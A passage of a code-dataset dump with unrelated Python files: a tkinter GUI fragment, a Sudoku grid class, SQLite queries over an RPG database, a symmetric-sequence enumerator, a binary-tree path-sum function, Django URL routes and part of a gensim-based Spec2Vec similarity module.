stretch=tk.NO)\n        self.tree.heading(\"#7\", text=\"Ass\")\n        self.tree.column(\"column8\", width=50, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#8\", text=\"CA\")\n        self.tree.column(\"column9\", width=50, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#9\", text=\"CV\")\n        self.tree.bind(\"<ButtonRelease-1>\", self.selectItem)\n        self.tree.bind(\"<space>\", self.selectItem)\n        self.tree.tag_configure('1', background='ivory2')\n        self.tree.tag_configure('2', background='ivory2')\n        self.tree.grid(row=4, column=0, padx=9, pady=9, sticky=tk.W+tk.E, columnspan=4)\n\n        tk.Label(self.pm, text='Pesquisar:', font='Ariel', fg='white', bg='#4db8ff').grid(row=5, column=0, columnspan=2, sticky=tk.E, padx=9, pady=9)\n        self.search_value = tk.StringVar(self.pm, value=\"\")\n        tk.Entry(self.pm, textvariable= self.search_value).grid(row=5, column=2, sticky=tk.W + tk.E, padx=9, pady=9)\n\n        self.search_button = ttk.Button(self.pm, text='Pesquisar', cursor=\"hand2\", command=self.search_record)\n        self.search_button.grid(row=5, column=3, padx=9, sticky=tk.W+tk.E)   \n\n        self.refresh_button = ttk.Button(self.pm, text='Atualizar', cursor=\"hand2\", command=self.refresh)  \n        self.refresh_button.grid(row=6, column=2, padx=9, pady=9, sticky=tk.W+tk.E)\n\n        self.back_button = ttk.Button(self.pm, text='Voltar', cursor=\"hand2\", command=self.back)\n        self.back_button.grid(row=6, column=3, padx=9, sticky=tk.W+tk.E)\n\n        self.setup_db()\n        self.populate_Database()\n        self.pm.mainloop()\n\n        ","sub_path":"classes/player_match.py","file_name":"player_match.py","file_ext":"py","file_size_in_byte":10867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"268641569","text":"import random\nfrom Square import Square\nclass BigSquare:\n    \n    def __init__(self, _position):\n        self.position     = _position\n        self.corner       = [None, None]\n        self.smallSquares = list()\n        self.numbers      = list()\n        self.numbers      = [1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9] #list to ensure no repeats\n\n    def returnPosition(self):\n        return self.position\n\n    def returnCorner(self):\n        return self.corner\n\n    def returnSmallSquares (self):\n        return self.smallSquares\n\n    \n\n        \n    def estCornersBig(self, startCoordinates,  boxsize):\n        '''\n        Determines the coordinate of the first corner based on designated \n        number (position) and the length of an individual  Sudoku box\n        \n        startCoordinates = the top-left corner of board\n        boxSize          = width of a small square\n\n        |0|1|2|\n        |3|4|5|\n        |6|7|8|\n        '''\n        _corner = [0,0]\n\n        # is the 1st bigSquare on board\n        if self.position == 0:\n            _corner = startCoordinates\n\n        # special case if bigSquare on first row \n        elif self.position < 3:\n            _corner[0] = startCoordinates[0] + (int (self.position % 3) * 3 * boxsize)\n            _corner[1] = startCoordinates[1]\n\n        # if bigSquare begins on new row\n        elif self.position % 3 == 0:\n            _corner [0] = startCoordinates[0]\n            _corner [1] = startCoordinates[1] + (int (self.position / 3) * 3 * boxsize)\n\n        # general formula for the other cases\n        else:\n            _corner[0] = startCoordinates[0] + ((self.position % 3) * 3  * boxsize) \n            _corner[1] = startCoordinates[1] + (int(self.position / 3) * 3  * boxsize)\n\n        x,y      = _corner  #x and y sed as placeholders for elements of determined corner (array)\n        _corner_ = (x,y)    #elements of array are used to create a tuple\n        self.corner   = _corner_ #tuple is loaded into corner variable of square\n\n        \n\n\n    def divide9 (self, boxsize):\n        '''\n        Creates and adds Square objects to BigSquare's list of squares\n        \n        boxsize = width of one square on grid\n        '''\n        for i in range(9):\n            self.smallSquares.append( Square (i) )\n            x = self.corner[0]\n            y = self.corner[1]\n            tuple = (x, y)\n            self.smallSquares[i].estCorners ( tuple, boxsize )\n\n            \n\n    def printInfo (self):\n        ''' \n        Testing method\n\n        Prints Squares that compose respective BigSquare\n        '''\n        for i in self.smallSquares:\n            print ( str( i.returnPosition() ) + \": \" + str(i.returnCorner()) )\n\n\n\n    def randomizeSquares(self, amount):\n        '''\n        Randomly selects smaller squares, designates them as programmed,\n        and assigns them a random value\n        \n        amount =  a random integer representing amount of Squares\n                  to change\n        '''\n        for i in range (amount):\n            square= self.smallSquares[random.randint(0,8)] # random square\n\n            # ensures that numbers are not repeated\n            _max   = (len (self.numbers) - 1)              \n            num    = self.numbers.pop ( random.randint (0, _max))\n            \n            square.setValue (num)\n            square.preset()\n            \n        \n            \n\n# Testing\n'''\nbigSquares = list()\nSTARTCOORDINATES = (100, 50)\nBOXSIZE = 30\nfor num in range (9):\n    bigSquares.append ( BigSquare (num) )\n    bigSquares[num].estCornersBig ( STARTCOORDINATES, BOXSIZE)\n    print (\"\\n This is box \" + str(bigSquares[num].retPosition()) + \", whose coordinates equal \" + str(bigSquares[num].retCorner()) )\n    bigSquares[num].divide9 (BOXSIZE)\n    bigSquares[num].printInfo()\n    print()\n'''\n\n\n\n","sub_path":"BigSquare.py","file_name":"BigSquare.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"116057400","text":"import sqlite3\nimport pandas as pd\n\nclass Quering():\n    '''\n    Quering through rpg_dp.sqlite3\n    '''\n\n    def __init__(self):\n        self.self = self\n\n\n    def character_cnt(self):\n        '''\n        #1 How many total Characters are there?\n        '''\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        char_cnt = curs.execute(\"\"\"SELECT COUNT(DISTINCT(character_id))\n                                FROM charactercreator_character;\"\"\")\n        \n        char_cnt_result = curs.fetchone()\n        print(f'There are total characters', char_cnt_result)\n\n        conn.close()\n\n\n    def characters_in_subclass(self):\n        '''\n        #2 How many of each specific subclass?\n        '''\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        subclass_char = curs.execute(\n                        \"\"\"SELECT 'mages', COUNT(*) \n                        FROM charactercreator_mage \n                        \n                        UNION\n                                            \n                        SELECT 'clerics', COUNT(*) \n                        FROM charactercreator_cleric\n\n                        UNION\n\n                        SELECT 'fighter', COUNT(*) \n                        FROM charactercreator_fighter\n\n                        UNION\n\n                        SELECT 'thieves', COUNT(*) \n                        FROM charactercreator_thief\n                        \n                        UNION\n                        \n                        SELECT 'necromancer', COUNT(*)\n                        FROM charactercreator_necromancer;\"\"\")\n\n        subclass_cnt = curs.fetchall()\n        print(f'Number of characters in each subclass:\\n', subclass_cnt)\n\n        conn.close()\n\n    def total_items(self):\n        '''\n        \"#3 How many total Items?\"\n        '''\n\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        items = curs.execute(\"\"\"SELECT COUNT(item_id)\n                             FROM armory_item\"\"\")\n\n        items_total = curs.fetchall()\n\n        print(f'Total {items_total[0]}')\n\n        conn.close()\n\n    def weapons_not_weapons(self):\n        '''\n        \"#4 How many of the Items are weapons? How many are not?\"\n        '''\n        conn = sqlite3.connect('rpg_dg.sqlite3')\n        curs = conn.cursor()\n        weapon_cnt = \"\"\"SELECT COUNT(item_ptr_id)\n                    FROM armory_weapon\"\"\"\n        weapons = curs.fetchone()\n\n        not_weapon_cnt = curs.execute(\n                        \"\"\"SELECT COUNT(item_id)\n                        FROM armory_item\n                        WHERE NOT EXISTS \n                            (SELECT item_ptr_id\n                            FROM armory_weapon \n                            WHERE armory_weapon.item_ptr_id = armory_item.item_id;\"\"\")\n        not_weapons = curs.fetchone()\n\n        print(\"{weapons[0]} weapons and {not_weapons[0]} not weapons.\" )\n\n        conn.close()\n\n    def items_per_character(self):\n        \"\"\"\n        #5 How many Items does each character have? \n        (Return first 20 rows)\n        \"\"\"\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        items_per_char = curs.execute(\"\"\"SELECT character_id, COUNT(item_id)\n                                      FROM charactercreator_character_inventory\n                                      GROUP BY character_id\n                                      LIMIT 20;\"\"\")\n        items_char = curs.fetchall()\n        print(\"Items per charachter (first 20):\\n\", items_char)\n        \n        conn.close()\n    \n    def weapons_per_character(self):\n        \"\"\"\n        #6 How many Weapons does each character have? \n        (Return first 20 rows)\n        \"\"\"\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        weapons_each = curs.execute(\"\"\"SELECT COUNT(item_id)\n                                    FROM charactercreator_character_inventory inventory\n                                    JOIN armory_weapon as weapon\n                                    ON weapon.item_ptr_id = inventory.item_id\n                                    GROUP BY character_id;\"\"\")\n        \n        weapons_per_char = curs.fetchall()\n\n        print('Number of weapons per character:\\n', weapons_per_char)\n\n        conn.close()\n\n    \n    def avg_items(self):\n        \"\"\"\n        #7 On average, how many Items does each Character have?\n        \"\"\"\n\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        average_items = curs.execute(\"\"\"SELECT AVG(num_items)\n                                     FROM(SELECT character_id, COUNT(item_id) as num_items\n                                     FROM charactercreator_character_inventory\n                                     GROUP BY character_id) AS grouped;\"\"\")\n\n        avg_items_char = curs.fetchall()\n\n        print(f'The average number of items per character is {avg_items_char}')\n\n        conn.close()\n\n\n    def avg_weapons(self):\n        \"\"\"\n        #8 On average, how many Weapons does each character have\n        \"\"\"\n        conn = sqlite3.connect('rpg_db.sqlite3')\n        curs = conn.cursor()\n\n        average_weapons = curs.execute(\"\"\"SELECT AVG(weapon_items)\n                                        FROM(SELECT character_id, COUNT(item_id) as weapon_items\n                                        FROM charactercreator_character_inventory\n                                        WHERE EXISTS \n                                            (SELECT item_ptr_id\n                                            FROM armory_weapon \n                                            WHERE armory_weapon.item_ptr_id = charactercreator_character_inventory.item_id)\n                                        GROUP BY character_id);\"\"\")\n\n        avg_weap = curs.fetchall()\n\n        print(f'The average number of weapons per character is {avg_weap}')\n\n        conn.close()","sub_path":"module1-introduction-to-sql/rpg_queries2.py","file_name":"rpg_queries2.py","file_ext":"py","file_size_in_byte":5907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"98438562","text":"import matplotlib.pyplot as plt\r\nimport numpy as mp\r\nimport copy\r\n\r\n#Функция: проверить одну последовательность является ли симетрической.\r\n#Если она не симмерична, то return [] пустой лист\r\n#Если она симметрична, то return лист построенный всевозможными индексами Центра симметрии\r\n#Внимание: Для правильного 8-угольного, построенного последовательностью 11110000,\r\n#          его ось симметрия через ни одной точки не проходит.\r\n#          Т.е. при p == 1, программа выходит информацию [] именно <не симметричная посл-ть>\r\n#          Тогда в случае size % 2 == 0 && колво единицы % 2 == 0, если при p == 1 выходит информацию <не симметричная посл-ть>\r\n#          Не можем сказать \"не симметричая посл-ть\", еще понадобится проверить при p == 0.\r\ndef check_symmetry (arr: list, p: int, size: int):\r\n    flag: list = []\r\n    i: int = 0\r\n    j: int\r\n    k: int\r\n    l: int\r\n    for i in range(0, size, 1):\r\n        k = (i + 1) % size\r\n        j = (i - p) % size\r\n        l = 1\r\n        while(l <= (size - 1) / 2):\r\n            if(arr[k] != arr[j]):\r\n                break\r\n            k = (k + 1) % size\r\n            j = (j - 1) % size\r\n            l = l + 1\r\n        if(l > (size - 1) / 2):\r\n            flag = flag + [i]\r\n    return flag\r\n\r\n#Функция : изобразить график\r\n#строка 55 - 80: изобразить ось симметрии\r\ndef Paint(arr: list, size: int):\r\n    i: int\r\n    x: list = [0] * (size + 1)\r\n    y: list = [0] * (size + 1)\r\n    h: float = 2*mp.pi / size\r\n    flag: list = check_symmetry(arr,1,size)\r\n\r\n    for i in range (0,size + 1,1):\r\n        x[i] = mp.cos(i * h + mp.pi / 2)\r\n        y[i] = mp.sin(i * h + mp.pi / 2)\r\n    plt.plot(x,y,color = \"k\",linestyle = \"--\",linewidth = 0.8)\r\n    for i in range (0,size,1):\r\n        if(arr[i] == 1):\r\n            plt.scatter(x[i],y[i],s = 20,color = 'blue')\r\n        else:\r\n            plt.scatter(x[i],y[i],s = 20,color = 'red')\r\n    x.pop()\r\n    y.pop()\r\n\r\n    if(flag != []):\r\n        if(size % 2 == 1):\r\n            for i in range (0,len(flag),1):\r\n                plt.plot([x[flag[i]], (x[(flag[i] + size // 2) % size] + x[(flag[i] - size // 2) % size]) / 2],\r\n                         [y[flag[i]], (y[(flag[i] + size // 2) % size] + y[(flag[i] - size // 2) % size]) / 2], color=\"y\",\r\n                         linewidth=0.5)\r\n        else:\r\n            for i in range(0, len(flag), 1):\r\n                plt.plot([x[flag[i]], x[(flag[i] + size // 2) % size]], [y[flag[i]], y[(flag[i] + size // 2) % size]],\r\n                         color=\"y\",linewidth=0.5)\r\n            if(arr.count(1) % 2 == 0):\r\n                flag = check_symmetry(arr, 0, size)\r\n                if (flag != []):\r\n                    for i in range(0, len(flag), 1):\r\n                        plt.plot(\r\n                            [(x[flag[i]] + x[(flag[i] + 1) % size]) / 2, -(x[flag[i]] + x[(flag[i] + 1) % size]) / 2],\r\n                            [(y[flag[i]] + y[(flag[i] + 1) % size]) / 2, -(y[flag[i]] + y[(flag[i] + 1) % size]) / 2],\r\n                            color=\"y\", linewidth=0.5)\r\n    else:\r\n        if(size % 2 == 0 and arr.count(1) % 2 == 0):\r\n            flag = check_symmetry(arr, 0, size)\r\n            if (flag != []):\r\n                for i in range(0, len(flag), 1):\r\n                    plt.plot([(x[flag[i]] + x[(flag[i] + 1) % size]) / 2, -(x[flag[i]] + x[(flag[i] + 1) % size]) / 2],\r\n                             [(y[flag[i]] + y[(flag[i] + 1) % size]) / 2, -(y[flag[i]] + y[(flag[i] + 1) % size]) / 2],\r\n                             color=\"y\",linewidth=0.5)\r\n    plt.show()\r\n\r\n# total: массив массивов: напр:[[1,1,0,0],[1,0,1,0]], содержащий всевозможные неповторяющие после-ти.\r\n# Если в total нет текущего массива, то выходим flag = 1 (not in)\r\n# Иначе flag = 0 (in)\r\ndef check (total: list, arr: list, size: int):\r\n    flag: int = 1\r\n    i: int\r\n    j: int\r\n    temp : list = [0] * size\r\n    for i in range (0,size,1):\r\n        for j in range(0,size,1):\r\n            temp[j] = arr[(i + j) % size]\r\n        if(temp in total):\r\n            flag = 0\r\n            break\r\n    return flag\r\n\r\n\r\n# Алгоритм с возвратом, по-англ: Depth-first search\r\n# void DFS(Vertex v)\r\n# {\r\n#     visited[v] = True\r\n#     for (каждая соседняя точка w) if(visited[w] == 0) {DFS(W)}\r\n# }\r\n# Перебор всевозможных комбинаций при заданной длине массива и количестве \"1\"\r\ndef Traverse(total: list, arr: list, visited: list, quantity1: int, m: int, size: int):\r\n    i: int\r\n    for i in range(1,size,1):\r\n        if(visited[i] == 0):\r\n            visited[i] = 1\r\n            arr[i] = 1\r\n            if(m == quantity1):\r\n                if(check(total,arr,size) == 1):\r\n                    total.append(copy.deepcopy(arr))\r\n                visited[i] = 0\r\n                arr[i] = 0\r\n                continue\r\n            Traverse(total,arr,visited,quantity1,m + 1,size)\r\n            arr[i] = 0\r\n            visited[i] = 0\r\n\r\ndef mmaaiinn():\r\n    f = open('C:/Users/shaoj/PycharmProjects/lab_2/result_lab2.txt', 'w')\r\n    n: int = int(input())\r\n    k: int = int(input())\r\n    if(n <= 2 or 2*k > n or n >= 16):\r\n        f.write(\"ERROR: incorrect parameter\")\r\n        f.close()\r\n        return\r\n    f.write(\"n == %d    k == %d\\n\" % (n,k))\r\n    i: int\r\n    j: int\r\n    l: int\r\n    total: list = []\r\n    arr: list = [0]*n\r\n    visited: list = [0]*n\r\n    arr[0] = 1\r\n    visited[0] = 1\r\n    temp: list\r\n    if(k == 1):\r\n        total = [arr]\r\n    else:\r\n        Traverse(total, arr, visited, k, 2, n)\r\n    print(len(total))\r\n    for i in range(0, len(total), 1):\r\n        temp = check_symmetry(total[i],1,n)\r\n        if(temp != []):\r\n            if (n % 2 == 1):\r\n                f.write(\"%s     %d\\n\" % (total[i], len(temp)))\r\n                for j in range(0, len(temp), 1):\r\n                    f.write(\"%d|\" % total[i][(temp[j]) % n])\r\n                    for l in range(0, (len(total[i]) - 1) // 2, 1):\r\n                        f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                    f.write(\"|\")\r\n                    for l in range((len(total[i]) - 1) // 2, len(total[i]) - 1, 1):\r\n                        f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                    f.write(\"\\n\")\r\n            else:\r\n                if(total[i].count(1) % 2 == 0):\r\n                    f.write(\"%s     %d\\n\" % (total[i], len(temp + check_symmetry(total[i], 0, n))))\r\n                else:\r\n                    f.write(\"%s     %d\\n\" % (total[i], len(temp)))\r\n\r\n                for j in range(0, len(temp), 1):\r\n                    f.write(\"%d|\" % total[i][(temp[j]) % n])\r\n                    for l in range(0, len(total[i]) // 2 - 1, 1):\r\n                        f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                    f.write(\"|\")\r\n                    f.write(\"%d|\" % total[i][(temp[j] + n // 2) % n])\r\n                    for l in range(len(total[i]) // 2 + 1, len(total[i]), 1):\r\n                        f.write(\"%d\" % total[i][(temp[j] + l) % n])\r\n                    f.write(\"\\n\")\r\n\r\n                if(total[i].count(1) % 2 == 0):\r\n                    temp = check_symmetry(total[i], 0, n)\r\n                    if (temp != []):\r\n                        for j in range(0, len(temp), 1):\r\n                            for l in range(0, len(total[i]) // 2, 1):\r\n                                f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                            f.write(\"    |    \")\r\n                            for l in range(len(total[i]) // 2, len(total[i]), 1):\r\n                                f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                            f.write(\"\\n\")\r\n        else:\r\n            if((n % 2 == 0 and total[i].count(1) % 2 == 0) == False):\r\n                f.write(\"%s     %d\\n\" % (total[i], len(temp)))\r\n            else:\r\n                temp = check_symmetry(total[i], 0, n)\r\n                f.write(\"%s     %d\\n\" % (total[i], len(temp)))\r\n                if(temp != []):\r\n                    for j in range(0, len(temp), 1):\r\n                        for l in range(0, len(total[i]) // 2, 1):\r\n                            f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                        f.write(\"    |    \")\r\n                        for l in range(len(total[i]) // 2, len(total[i]), 1):\r\n                            f.write(\"%d\" % total[i][(temp[j] + l + 1) % n])\r\n                        f.write(\"\\n\")\r\n    f.close()\r\n\r\n\r\nmmaaiinn()\r\n","sub_path":"ShaoTsziatsi/symmetry.py","file_name":"symmetry.py","file_ext":"py","file_size_in_byte":9039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"149708155","text":"class Node:\n    # Constructor to create a new node\n    def __init__(self, data):\n        self.data = data\n        self.left = None\n        self.right = None\nroot = Node(100)\nroot.left = Node(120)\nroot.right = Node(50)\nroot.right.right = Node(70)\nroot.right.left = Node(160)\nroot.left.left = Node(140)\nroot.left.right = Node(150)\npath = []\nresult  = []\nimport copy\ndef findPath(root,key,sum_,path):\n    if root == None:\n        return\n    path.append(root.data)\n    if key == sum_+root.data:\n        print (\"key found\",path)\n        result.append(copy.deepcopy(path))\n        path.pop()\n        return\n    findPath(root.left,key,sum_ + root.data,path)\n    findPath(root.right,key,sum_ + root.data,path)\n    path.pop()\nfindPath(root,220,0,path)\n","sub_path":"my_question/binary-tree-all-path-to-given-sum.py","file_name":"binary-tree-all-path-to-given-sum.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"180624226","text":"\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n    url(r'^discussions/$', views.homepage, name=\"home\"),\n    url(r'^discuss/(?P<post_id>\\d+)/$', views.DiscussionView.as_view(), name=\"discussion\"),\n    url(r'^start-discussion/$', views.StartDiscussionView.as_view(), name=\"start-discussion\"),\n  \n    \n   \n\n    url(r'^comments/(?P<id>\\d+)/reply$', views.ReplyToComment.as_view(), name=\"reply_to_comment\"),\n    url(r'^comments/(?P<id>\\d+)/edit$', views.EditComment.as_view(), name=\"edit_comment\"),\n\n    url(r'^api/posts/(?P<post_id>\\d+)/upvote$', views.upvote_post, name=\"upvote_post\"),\n    url(r'^api/posts/(?P<post_id>\\d+)/downvote$', views.downvote_post, name=\"downvote_post\"),\n    url(r'^api/posts/(?P<post_id>\\d+)/undovote$', views.undo_vote_on_post, name=\"undo_vote_on_post\"),\n\n    url(r'^api/comments/(?P<comment_id>\\d+)/upvote$', views.upvote_comment, name=\"upvote_comment\"),\n    url(r'^api/comments/(?P<comment_id>\\d+)/downvote$', views.downvote_comment, name=\"downvote_comment\"),\n    url(r'^api/comments/(?P<comment_id>\\d+)/undovote$', views.undo_vote_on_comment, name=\"undo_vote_on_comment\"),\n    \n]","sub_path":"discussions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"147172188","text":"#\n# Spec2Vec\n#\n# Copyright 2019 Netherlands eScience Center\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import print_function\n\nimport os\nimport numpy as np\nimport logging\nfrom pprint import pprint \nimport gensim \nfrom gensim import corpora\nfrom gensim import models\nfrom gensim.test.utils import get_tmpfile\nfrom gensim.models.callbacks import CallbackAny2Vec\n\n#from scipy import spatial\nfrom sklearn.decomposition import PCA\n\n# Imports from Spec2Vec functions\nimport helper_functions as functions\n\n       \nclass EpochLogger(CallbackAny2Vec):\n    '''Callback to log information about training progress.\n    Used to keep track of gensim model training (word2vec, lda...)'''\n    def __init__(self, num_of_epochs):\n        self.epoch = 0\n        self.num_of_epochs = num_of_epochs\n    def on_epoch_end(self, model):\n        print('\\r', 'Epoch ', (self.epoch+1), ' of ', self.num_of_epochs, '.' , end=\"\")\n        self.epoch += 1\n\n\nclass SimilarityMeasures():\n    \"\"\" Class to run different similarity measure on sentence-like data.\n    Words can be representing all kind of things (Pfam domains for proteins, peaks for spectra etc.).\n    Documents lists of words.\n    \n    Similarity measuring methods:\n    1) Low-dimensional document vector similarity (e.g. cosine similarity)\n        a) Word2Vec based centroid vector (tfidf weighted or not weighted)\n        b) PCA\n    2) Topic modeling:\n        a) LDA\n        b) LSI\n    \"\"\"\n       \n    def __init__(self, initial_documents):\n        self.initial_documents = initial_documents\n        self.corpus = []\n        self.dictionary = []\n        self.bow_corpus = []\n        self.stopwords = []\n        self.X_data = None\n        \n        # Trained models\n        self.model_word2vec = None\n        self.model_lda = None\n        self.model_lsi = None\n        self.index_lda = None\n        self.index_lsi = None\n        self.tfidf = None\n        self.vectors_centroid = []\n        self.vectors_pca = []\n        \n        # Listed similarities\n        self.list_similars_ctr = None\n        self.list_similars_ctr_idx = None\n        self.list_similars_pca = None\n        self.list_similars_pca_idx = None\n        self.list_similars_lda = None\n        self.list_similars_lda_idx = None\n        self.list_similars_lsi = None\n        self.list_similars_lsi_idx = None\n\n\n    def preprocess_documents(self, max_fraction, min_frequency, \n                             remove_stopwords = None, create_stopwords = False):\n        \"\"\" Preprocess 'documents'\n        \n        Obvious steps: \n            --> in 'helper_functions.preprocess_document'\n            - Take all words that occur at least (min_frequency =) 2 times.\n            - Lower case\n            \n        Calculate word frequency\n        --> Words that occur more than max_fraction will become stopwords (words with no or little discriminative power)\n        \n        Args:\n        --------\n        max_fraction: float\n            Gives maximum fraction of documents that may contain a certain word.\n        min_frequency: int\n            Words that occur less frequently will be ignored.\n        remove_stopwords: list, None\n            Give list of stopwords if they should be removed. Default is None.\n        create_stopwords: bool\n            if True: Words that are more common then max_fraction will be added to stopwords.\n        \"\"\"\n        \n        if max_fraction <= 0 or max_fraction > 1:\n            print(\"max_fraction should be value > 0 and <= 1.\")\n        \n        # Preprocess documents (all lower letters, every word exists at least 2 times)\n        print(\"Preprocess documents...\")\n        if remove_stopwords is None:\n            self.corpus, frequency = functions.preprocess_document(self.initial_documents, \n                                                                       stopwords = [], min_frequency = min_frequency)\n        else:\n            self.corpus, frequency = functions.preprocess_document(self.initial_documents, \n                                                                       stopwords = remove_stopwords, min_frequency = min_frequency)    \n        \n        # Create dictionary (or \"vocabulary\") containting all unique words from documents\n        self.dictionary = corpora.Dictionary(self.corpus)\n         \n        if create_stopwords:\n            # Calculate word frequency to determine stopwords\n            print(\"Calculate inverse document frequency for entire dictionary.\")\n            documents_size = len(self.corpus)\n            self.idf_scores = functions.ifd_scores(self.dictionary, self.corpus)\n            \n            # Words that appear too frequently (fraction>max_fration) become stopwords\n            self.stopwords = self.idf_scores[\"word\"][self.idf_scores[\"word count\"] > documents_size*max_fraction]\n            \n            print(len(self.stopwords), \" stopwords were selected from a total of \", \n                  len(self.dictionary), \" words in the entire corpus.\")\n            \n            # Create corpus, dictionary, and BOW corpus\n            self.corpus, frequency = functions.preprocess_document(self.corpus, self.stopwords, min_frequency = min_frequency)\n            \n        self.bow_corpus = [self.dictionary.doc2bow(text) for text in self.corpus]\n\n\n## ------------------------------------------------------------------------------\n## ---------------------- Model building & training  ----------------------------\n## ------------------------------------------------------------------------------\n        \n    def build_model_word2vec(self, file_model_word2vec, size=100, \n                             window=50, min_count=1, workers=4, \n                             iter=100, use_stored_model=True):\n        \"\"\" Build Word2Vec model (using gensim)\n        \n        Args:\n        --------\n        file_model_word2vec: str,\n            Filename to save model (or load model if it exists under this name).\n        size: int,\n            Dimensions of word vectors (default = 100) \n        window: int,\n            Window size for context words (small for local context, \n            larger for global context, default = 50)\n        min_count: int,\n            Only consider words that occur at least min_count times in the corpus (default =1).\n        workers: int,\n            Number of threads to run the training on (should not be more than number of cores/threads, default = 4).\n        iter: int,\n            Number of training iterations (default=100). \n        use_stored_model: bool,\n            Load stored model if True, else train new model.\n        \"\"\"\n        \n        epoch_logger = EpochLogger(iter)\n\n        # Check if model already exists and should be loaded\n        if os.path.isfile(file_model_word2vec) and use_stored_model:   \n            print(\"Load stored word2vec model ...\")\n            self.model_word2vec = gensim.models.Word2Vec.load(file_model_word2vec)\n        else:\n            if use_stored_model:\n                print(\"Stored word2vec model not found!\")\n            \n            print(\"Calculating new word2vec model...\")\n        \n            # Set up GENSIM logging\n            logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.WARNING)\n            # Train word2vec model\n            self.model_word2vec = gensim.models.Word2Vec(self.corpus, size=size,\n                                                         window=window, min_count=min_count, \n                                                         workers=workers, iter=iter,\n                                                         seed=42, callbacks=[epoch_logger])\n            \n            # Save model\n            self.model_word2vec.save(file_model_word2vec)          \n            \n            \n    def build_model_lda(self, file_model_lda, num_of_topics=100, num_pass=4, \n                        num_iter=100, use_stored_model=True):\n        \"\"\" Build LDA model (using gensim).\n                \n        Args:\n        --------\n        file_model_lda: str,\n            Filename to save model (or load model if it exists under this name).\n        num_of_topics: int,\n            Number of topics to sort feature into (default = 100).\n        num_pass: int,\n            Number of passes through the corpus during training.\n       num_iter: int,\n            Number of training iterations (default=100). \n        use_stored_model: bool,\n            Load stored model if True, else train new model.\n        \"\"\"\n        \n        # Check if model already exists and should be loaded\n        if os.path.isfile(file_model_lda) and use_stored_model: \n            print(\"Load stored LDA model ...\")\n            self.model_lda = gensim.models.LdaModel.load(file_model_lda)\n        else:\n            if use_stored_model:\n                print(\"Stored LDA model not found!\")\n            print(\"Calculating new LDA model...\")\n            self.model_lda = gensim.models.LdaModel(self.bow_corpus, id2word=self.dictionary, \n                                               num_topics=num_of_topics, passes=num_pass, iterations=num_iter) \n            \n            # Save model\n            self.model_lda.save(file_model_lda)\n            \n            # Output the Keyword in the 10 topics\n            pprint(\"Keyword in the 10 topics\")\n            pprint(self.model_lda.print_topics())\n        \n        \n    def build_model_lsi(self, file_model_lsi, num_of_topics=100, \n                        num_iter=10, use_stored_model=True):\n        \"\"\" Build LSI model (using gensim).\n        \n        Args:\n        --------\n        file_model_lsi: str,\n            Filename to save model (or load model if it exists under this name).\n        num_of_topics: int,\n            Number of topics to sort feature into (default = 100).\n        num_iter: int,\n            Number of training iterations (default=100). \n        use_stored_model: bool,\n            Load stored model if True, else train new model.\n        \"\"\"\n        \n        # Check if model already exists and should be loaded\n        if os.path.isfile(file_model_lsi) and use_stored_model: \n            print(\"Load stored LSI model ...\")\n            self.model_lsi = gensim.models.LsiModel.load(file_model_lsi)\n        else:\n            if use_stored_model:\n                print(\"Stored LSI model not found!\")\n            print(\"Calculating new LSI model...\")\n            self.model_lsi = gensim.models.LsiModel(self.bow_corpus, \n                                                    id2word=self.dictionary, \n                                                    power_iters=num_iter,\n                                                    num_topics=num_of_topics) \n            \n            # Save model\n            self.model_lsi.save(file_model_lsi)\n\n \n## ------------------------------------------------------------------------------\n## -------------------- Calculate document vectors ------------------------------\n## ------------------------------------------------------------------------------\n            \n    def get_vectors_centroid(self, method = 'update', \n                             extra_weights = None, \n                             tfidf_weighted=True, \n                             weight_method = 'sqrt', \n                             tfidf_model = None,\n                             extra_epochs = 10):\n        \"\"\" Calculate centroid vectors for all documents\n        \n        Individual word vectors are weighted using tfidf (unless weighted=False).\n        \n        Args:\n        --------\n        method: str\n            Which method to use if not all words are present in trained model.\n            'update': word2vec model will be updated by additional training of the model.\n            'ignore': will ignore all 'words' not present in the pre-trained model.\n            TODO 'substitute\": will look to replace missing words with closest matches?\n        extra_weights: list\n            List of extra weights for add documents (and every word). Set to \"False\" if not used.\n        tfidf_weighted: bool\n            True, False\n        weight_method: str\n            Select method for how to weigh the extra_weights...\n            'sqrt' - weight word vectors by sqrt or 